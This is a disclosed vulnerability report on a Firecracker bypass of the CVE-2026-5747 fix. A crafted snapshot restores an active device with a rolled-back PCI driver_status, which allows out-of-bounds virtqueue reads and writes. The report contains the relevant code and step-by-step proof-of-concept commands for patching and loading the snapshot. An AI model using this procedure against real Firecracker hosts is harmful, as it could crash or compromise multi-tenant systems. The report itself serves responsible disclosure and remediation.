HexBrain

AWS VDP · Report #3738654

Firecracker Out-of-bounds Read/Write Local Privilege Escalation Vulnerability

Validstatus
33upvotes
11 Jun 2026disclosed

How it was found

Title:

Firecracker Out-of-bounds Read/Write Local Privilege Escalation Vulnerability

Acknowledgements

████████ (████████) of ████████ and ████████ (████████)

Affect Product

Firecracker v1.15.1 (Latest)

Description:

Original vulnerability: direct post-activation PCI queue mutation

The original issue behind CVE-2026-5747 was in the virtio PCI common configuration write path. In the vulnerable code, queue configuration registers were written directly into the live Queue object without checking whether the device had already been activated.

Vulnerable code in the old tree:

File: src/vmm/src/devices/virtio/transport/pci/common_config.rs
Lines: 202, 219, 314-330

0x18 => self.with_queue_mut(queues, |q| q.size = value),
...
0x1c => self.with_queue_mut(queues, |q| {
    if value != 0 {
        q.ready = value == 1;
    }
}),
...
0x20 => self.with_queue_mut(locked_device.queues_mut(), |q| {
    lo(&mut q.desc_table_address, value)
}),
0x24 => self.with_queue_mut(locked_device.queues_mut(), |q| {
    hi(&mut q.desc_table_address, value)
}),
0x28 => self.with_queue_mut(locked_device.queues_mut(), |q| {
    lo(&mut q.avail_ring_address, value)
}),
0x2c => self.with_queue_mut(locked_device.queues_mut(), |q| {
    hi(&mut q.avail_ring_address, value)
}),
0x30 => self.with_queue_mut(locked_device.queues_mut(), |q| {
    lo(&mut q.used_ring_address, value)
}),
0x34 => self.with_queue_mut(locked_device.queues_mut(), |q| {
    hi(&mut q.used_ring_address, value)
}),

That was dangerous because queue activation validates queue geometry only once and then caches raw host pointers derived from that geometry.

File: src/vmm/src/devices/virtio/queue.rs
Lines: 342-369

pub fn initialize<M: GuestMemory>(&mut self, mem: &M) -> Result<(), QueueError> {
    ...
    self.desc_table_ptr =
        self.get_aligned_slice_ptr(mem, self.desc_table_address, self.desc_table_size(), 16)?;
    self.avail_ring_ptr =
        self.get_aligned_slice_ptr(mem, self.avail_ring_address, self.avail_ring_size(), 2)?;
    self.used_ring_ptr =
        self.get_aligned_slice_ptr(mem, self.used_ring_address, self.used_ring_size(), 4)?;
    Ok(())
}

After activation, later queue operations trust self.size for indexing, but still dereference the cached pointers. If the guest changes queue fields after activation, Firecracker can perform out-of-bounds virtqueue reads and writes through stale pointers.

How the fix works

The fix in 1.14.4 / 1.15.1 adds a guard that only permits queue configuration writes while the device is in the virtio setup state ACKNOWLEDGE | DRIVER | FEATURES_OK (0xb), before DRIVER_OK and before backend activation is complete.

Fixed code:

File: src/vmm/src/devices/virtio/transport/pci/common_config.rs
Lines: 237-254, 272-294, 396-413

fn update_queue_field<F: FnOnce(&mut Queue)>(&mut self, queues: &mut [Queue], f: F) {
    let status = self.driver_status;
    if status == (ACKNOWLEDGE | DRIVER | FEATURES_OK) {
        self.with_queue_mut(queues, f);
    } else {
        warn!(
            "pci: queue config write not allowed in device status {:#x}",
            status
        );
    }
}
...
QUEUE_SIZE => self.update_queue_field(queues, |q| q.size = value),
...
QUEUE_ENABLE => self.update_queue_field(queues, |q| {
    if value != 0 {
        q.ready = value == 1;
    }
}),
...
QUEUE_DESC_LO => self.update_queue_field(locked_device.queues_mut(), |q| {
    lo(&mut q.desc_table_address, value)
}),
...
QUEUE_USED_HI => self.update_queue_field(locked_device.queues_mut(), |q| {
    hi(&mut q.used_ring_address, value)
}),

So the intended invariant is:

  • queue pointers are initialized once using validated geometry
  • once the backend is active, PCI queue fields are no longer writable

Bypass path: hostile snapshot restore recreates the forbidden state

The bypass exists because snapshot restore reconstructs queue activation state and PCI driver_status from different serialized fields, but does not validate that they are consistent with each other.

  1. Queue restore rebuilds cached raw pointers whenever the saved virtio device state says the queue is already activated.

File: src/vmm/src/devices/virtio/persist.rs
Lines: 88-111

fn restore(
    constructor_args: Self::ConstructorArgs,
    state: &Self::State,
) -> Result<Self, Self::Error> {
    let mut queue = Queue {
        max_size: state.max_size,
        size: state.size,
        ready: state.ready,
        desc_table_address: GuestAddress(state.desc_table),
        avail_ring_address: GuestAddress(state.avail_ring),
        used_ring_address: GuestAddress(state.used_ring),
        ...
    };
    if constructor_args.is_activated {  //--[1]
        queue.initialize(&constructor_args.mem)?;
    }
    Ok(queue)
}
  1. PCI restore independently trusts state.device_activated and re-activates the backend.

File: src/vmm/src/devices/virtio/transport/pci/device.rs
Lines: 437-459

let mut virtio_pci_device = VirtioPciDevice {
    ...
    common_config: virtio_common_config,
    ...
    device_activated: Arc::new(AtomicBool::new(state.device_activated)), //--[1]
    ...
};

if state.device_activated {
    virtio_pci_device
        .device
        .lock()
        .expect("Poisoned lock")
        .activate(
            virtio_pci_device.memory.clone(),
            virtio_pci_device.virtio_interrupt.as_ref().unwrap().clone(),
        );
}
  1. The queue-write gate still checks only common_config.driver_status.

File: src/vmm/src/devices/virtio/transport/pci/common_config.rs
Lines: 244-247

let status = self.driver_status;
if status == (ACKNOWLEDGE | DRIVER | FEATURES_OK) {
    self.with_queue_mut(queues, f);
}

This means a hostile snapshot can restore:

  • VirtioDeviceState.activated = true
  • VirtioPciDeviceState.device_activated = true
  • VirtioPciCommonConfigState.driver_status = 0xb

After restore, Firecracker has:

  • an already active backend
  • queues whose raw pointers were reinitialized from the saved geometry
  • PCI queue writes permitted again because driver_status == 0xb

That recreates the same stale-pointer condition that the original fix was meant to prevent.

Confirmed consequence

Using the hostile restore state above, the guest can mutate the live queue again after restore and revive the old stale used-ring path:

  • out-of-bounds avail-ring read relative to the originally validated queue
  • out-of-bounds descriptor-table read relative to the originally validated queue
  • out-of-bounds used-ring write through the stale used_ring_ptr

Proof of Concept

Building the Firecracker

Build Firecracker in the normal way:

git clone https://github.com/firecracker-microvm/firecracker.git
cd firecracker/
git checkout v1.15.1
./tools/devtool checkenv
sudo systemctl start docker
sudo ./tools/devtool build --release

Expected binaries:

file ./build/cargo_target/x86_64-unknown-linux-musl/release/firecracker
file ./build/cargo_target/x86_64-unknown-linux-musl/release/jailer

Building PoC

Notice: Most scripts use default paths under ████████.... Update those paths to match your local environment before running them.

1. Build the guest OS

cd ~/firecracker/resources
git clone --depth=1 https://github.com/amazonlinux/linux

The split-probe kernel builder expects a local Amazon Linux kernel tree at:

~/firecracker/resources/linux

After cloning, prepare the kernel config.

Use the base microvm config and then merge in the PCI fragment with the kernel's config merge helper:

cp ~/firecracker/resources/guest_configs/microvm-kernel-ci-x86_64-6.1.config \
   ~/firecracker/resources/linux/.config
~/firecracker/resources/linux/scripts/config --file ~/firecracker/resources/linux/.config \
   --enable PCI \
   --enable PCI_MMCONFIG \
   --enable PCI_MSI \
   --enable PCIEPORTBUS \
   --enable VIRTIO_PCI \
   --enable PCI_HOST_COMMON \
   --enable PCI_HOST_GENERIC \
   --enable BLK_MQ_PCI \
   --enable VIRTIO_BLK \
   --enable EXT4_FS
make -C ~/firecracker/resources/linux olddefconfig

If a reviewer prefers a quick manual merge, appending pcie.config and then running olddefconfig also works, but it produces noisy override warnings and is easier to get wrong.

Before building, sanity-check that the guest kernel config really has PCI enabled:

grep -E '^(CONFIG_PCI=|CONFIG_VIRTIO_PCI=|CONFIG_PCI_MSI=|CONFIG_VIRTIO_BLK=|CONFIG_EXT4_FS=)' \
    ~/firecracker/resources/linux/.config

Expected output should include at least:

CONFIG_PCI=y
CONFIG_PCI_MSI=y
CONFIG_VIRTIO_BLK=y
CONFIG_VIRTIO_PCI=y
CONFIG_EXT4_FS=y

Unzip the attachment files then move it to the ~/pci_snapshot_restore_bypass_demo/. Copy the poc files then build the split-probe kernel:

mkdir ~/firecracker/resources/kernel_poc/
cp ~/pci_snapshot_restore_bypass_demo/split_probe_builder/resources/kernel_poc/fc_pci_queue_split_probe_builtin.c ~/firecracker/resources/kernel_poc/fc_pci_queue_split_probe_builtin.c
cp ~/pci_snapshot_restore_bypass_demo/split_probe_builder/tools/build_fc_pci_split_probe_kernel.sh ~/firecracker/tools
cd ~/firecracker/tools
./build_fc_pci_split_probe_kernel.sh

Expected output:

/tmp/fc-pci-split-probe-kernel/vmlinux-fc-pci-split-probe

2. Build the guest image

cd ~/pci_snapshot_restore_bypass_demo/
./build_guest_image.sh

3. Save a normal snapshot

./start_normal_instance_and_snapshot.sh

This writes:

  • /tmp/fc-normal-snapshot/orig.vmstate
  • /tmp/fc-normal-snapshot/orig.mem

4. Mutate the snapshot

  1. Build the patcher:

remember to change the vmm path in ~/pci_snapshot_restore_bypass_demo/snapshot_patcher/Cargo.toml first

vmm = { path = "████████Desktop/firecracker/firecracker/src/vmm" }
cd ~/pci_snapshot_restore_bypass_demo/snapshot_patcher
cargo build --offline

If --offline fails:

cd ~/pci_snapshot_restore_bypass_demo/snapshot_patcher
cargo build
  1. Mutate the snapshot:
~/pci_snapshot_restore_bypass_demo/snapshot_patcher/target/debug/patch_snapshot \
/tmp/fc-normal-snapshot/orig.vmstate \
/tmp/fc-normal-snapshot/patched.vmstate

Expected output:

before_driver_status=0xf
after_driver_status=0xb
transport_device_activated=true
backend_virtio_activated=true

That is the malformed snapshot:

  • original snapshot stays at /tmp/fc-normal-snapshot/orig.vmstate
  • mutated snapshot becomes /tmp/fc-normal-snapshot/patched.vmstate

Tool needed:

  • the local Rust tool in pci_snapshot_restore_bypass_demo/snapshot_patcher
  • source entry point: pci_snapshot_restore_bypass_demo/snapshot_patcher/src/main.rs

Executing PoC

1. Start a fresh Firecracker process

cd ~/pci_snapshot_restore_bypass_demo
./start_firecracker.sh

This starts Firecracker with:

  • API socket: /tmp/fc-start/api.sock
  • log: /tmp/fc-start/firecracker.log
  • PID file: /tmp/fc-start/firecracker.pid

So after it print the PID, you can sudo gdb -p <PID>

2. Load the mutated snapshot and resume the VM

./load_mutated_snapshot.sh

Guest OS will trigger out-of-bounds write after 10 seconds.

By default this sends:

  • /tmp/fc-normal-snapshot/patched.vmstate
  • /tmp/fc-normal-snapshot/orig.mem

to the Firecracker process listening on /tmp/fc-start/api.sock.

3. Observe the restored state

cat /tmp/fc-start/firecracker.log

[   10.522823] queue_size mutated live to 65535; issuing 1 post-mutation request(s) through the stale queue state
[   10.525730] post-mutation request 1/1: pop avail.ring[65534], consume desc[1], and write used[65534] past guest RAM
2026-04-09T04:43:36.312507266 [anonymous-instance:main] Shutting down VM after intercepting signal 11, code 1.

At this point the malformed snapshot has been restored and resumed. This reproduces the restore-time bypass state:

  • backend remains activated
  • PCI driver_status is rolled back to 0xb
  • post-activation PCI queue mutation becomes possible again

The script above restores the vulnerable state. The stronger guest-triggered crash consequence is then exercised by the companion split-queue crash flow.

Stack Trace

When the reviewer attaches with GDB at the restore_loaded_paused stage and then resumes the VM, the expected backtrace shows the crash in the virtio queue used-ring write path. The crash occurs because the used-ring write goes past guest RAM and lands in an unmapped page.

#0  0x000074fe21990afc in vmm::devices::virtio::rng::device::Entropy::process_entropy_queue ()
#1  0x000074fe2198fce0 in vmm::devices::virtio::rng::event_handler::<impl event_manager::MutEventSubscriber for vmm::devices::virtio::rng::device::Entropy>::process ()
#2  0x000074fe2186b9aa in event_manager::manager::EventManager<S>::run_with_timeout ()
#3  0x000074fe21862509 in firecracker::api_server_adapter::run_with_api ()
#4  0x000074fe2186910b in firecracker::main ()
#5  0x000074fe21871393 in std::sys::backtrace::__rust_begin_short_backtrace ()
#6  0x000074fe218aa643 in main ()

This confirms that the bypass revives the original stale used_ring_ptr primitive rather than only triggering the easier InvalidAvailIdx panic path.

Impact

Summary:

Firecracker is an open source virtualization technology purpose-built for secure multi-tenant container and function workloads. A variant of CVE-2026-5747 exists where, under hostile snapshot restore conditions, a guest can bypass the post-activation virtio PCI queue-write fix by restoring an active device with rolled-back PCI driver_status, reviving stale virtqueue pointer use and enabling out-of-bounds virtqueue access, including a host-crashing out-of-bounds used-ring write.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original